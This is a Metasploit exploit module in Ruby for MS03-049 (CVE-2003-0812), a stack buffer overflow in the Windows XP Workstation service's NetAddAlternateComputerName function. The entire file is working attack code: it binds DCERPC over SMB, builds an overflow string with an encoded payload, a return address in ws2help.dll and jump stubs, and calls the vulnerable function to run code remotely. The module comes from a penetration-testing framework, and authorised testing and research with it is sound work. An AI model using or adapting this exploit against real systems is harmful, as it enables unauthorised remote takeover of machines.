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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::DCERPC
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  include Msf::Exploit::Remote::SMB::Client
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
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          function using the Workstation service in Windows XP.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2003-0812' ],
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          [ 'OSVDB', '11461' ],
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          [ 'BID', '9011' ],
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          [ 'MSB', 'MS03-049' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'thread',
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        },
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        'Privileged' => true,
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        'Payload' => {
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          'Space' => 1000,
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          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
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          'StackAdjustment' => -3500,
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        },
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        'Platform' => 'win',
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        'DefaultTarget' => 0,
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        'Targets' => [
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          [
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            'Windows XP SP0/SP1',
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            {
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              'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
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            }
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          ],
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        ],
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        'DisclosureDate' => '2003-11-11',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
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      ]
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    )
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  end
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  def exploit
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    connect()
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    smb_login()
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    handle = dcerpc_handle(
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      '6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
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      'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
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    )
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    print_status("Binding to #{handle} ...")
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    dcerpc_bind(handle)
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    print_status("Bound to #{handle} ...")
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    print_status("Building the stub data...")
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    name = rand_text_alphanumeric(5000)
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    name[3496, 4] = [target.ret].pack('V')
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    name[3492, 2] = "\xeb\x06"
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    name[3500, 5] = "\xe9" + [-3505].pack('V')
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    name[0, payload.encoded.length] = payload.encoded
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    stub =
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      NDR.long(rand(0xffffffff)) +
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      NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
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      NDR.long(rand(0xffffffff)) +
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      NDR.UnicodeConformantVaryingString(name) +
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      NDR.long(rand(0xffffffff)) +
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      NDR.UnicodeConformantVaryingString('') +
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      NDR.long(0) +
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      NDR.long(0)
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    print_status("Calling the vulnerable function...")
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    begin
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      dcerpc.call(0x1b, stub)
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    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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    rescue => e
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      if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
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        raise e
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      end
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    end
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    # Cleanup
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    handler
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    disconnect
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  end
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end
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